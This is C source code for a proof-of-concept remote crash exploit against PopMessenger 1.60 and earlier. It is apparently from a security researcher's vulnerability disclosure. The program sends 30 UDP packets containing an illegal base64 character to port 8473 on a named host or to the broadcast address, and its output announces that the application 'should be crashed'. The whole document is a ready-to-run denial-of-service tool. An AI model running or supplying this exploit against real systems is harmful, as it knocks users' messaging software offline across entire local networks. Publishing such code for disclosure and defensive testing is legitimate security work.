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- /*
-
- by Luigi Auriemma
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <time.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #endif
-
-
-
- #define VER "0.1"
- #define PORT 8473
- #define BCAST "255.255.255.255"
- #define MAX 30 // we need less then 20 packets
-
-
-
- u_long resolv(char *host);
- void std_err(void);
-
-
-
- int main(int argc, char *argv[]) {
- struct sockaddr_in peer;
- int sd,
- i,
- on = 1;
- u_long randnum;
- u_short port = PORT;
- u_char pck[] =
- "Z........\0"
- "C@main\1"
- "@chnlMAIN\1"
- "@chnlMAIN\1"
- "\1\1\1\1\1"
- "crasher\1"
- "cmdAddString\1"
- "%\1"; // the crash happens when the program receives
- // multiple packets containing an incorrect base64
- // char in the message field (in fact % is illegal)
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "PopMessenger <= 1.60 (20 Sep 2004) remote crash "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 2) {
- printf("\n"
- "Usage: %s <host> [port(%d)]\n"
- "\n"
- "Note: you can also launch this tool versus broadcast IP (like "BCAST")\n"
- "\n", argv[0], PORT);
- exit(1);
- }
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- if(argc > 2) port = atoi(argv[2]);
- if(!memcmp(argv[1], BCAST, sizeof(BCAST) - 1)) {
- peer.sin_addr.s_addr = 0xffffffffL;
- } else {
- peer.sin_addr.s_addr = resolv(argv[1]);
- }
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
-
- printf("- target %s:%hu\n",
- inet_ntoa(peer.sin_addr),
- port);
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- /* broadcast */
- if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
- < 0) std_err();
-
- randnum = time(NULL);
-
- printf("- send %d messages with an illegal base64 char to cause the crash\n", MAX);
- for(i = 0; i < MAX; i++) {
- sprintf(pck + 1, "%08lx", randnum * i); // must be ever different
- if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
- < 0) std_err();
- fputc('.', stdout);
- sleep(0);
- }
-
- close(sd);
- fputs("\n- data sent, the application should be crashed\n\n", stdout);
- return(0);
- }
-
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- hp = gethostbyname(host);
- if(!hp) {
- printf("\nError: Unable to resolv hostname (%s)\n", host);
- exit(1);
- } else host_ip = *(u_long *)hp->h_addr;
- }
- return(host_ip);
- }
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-
-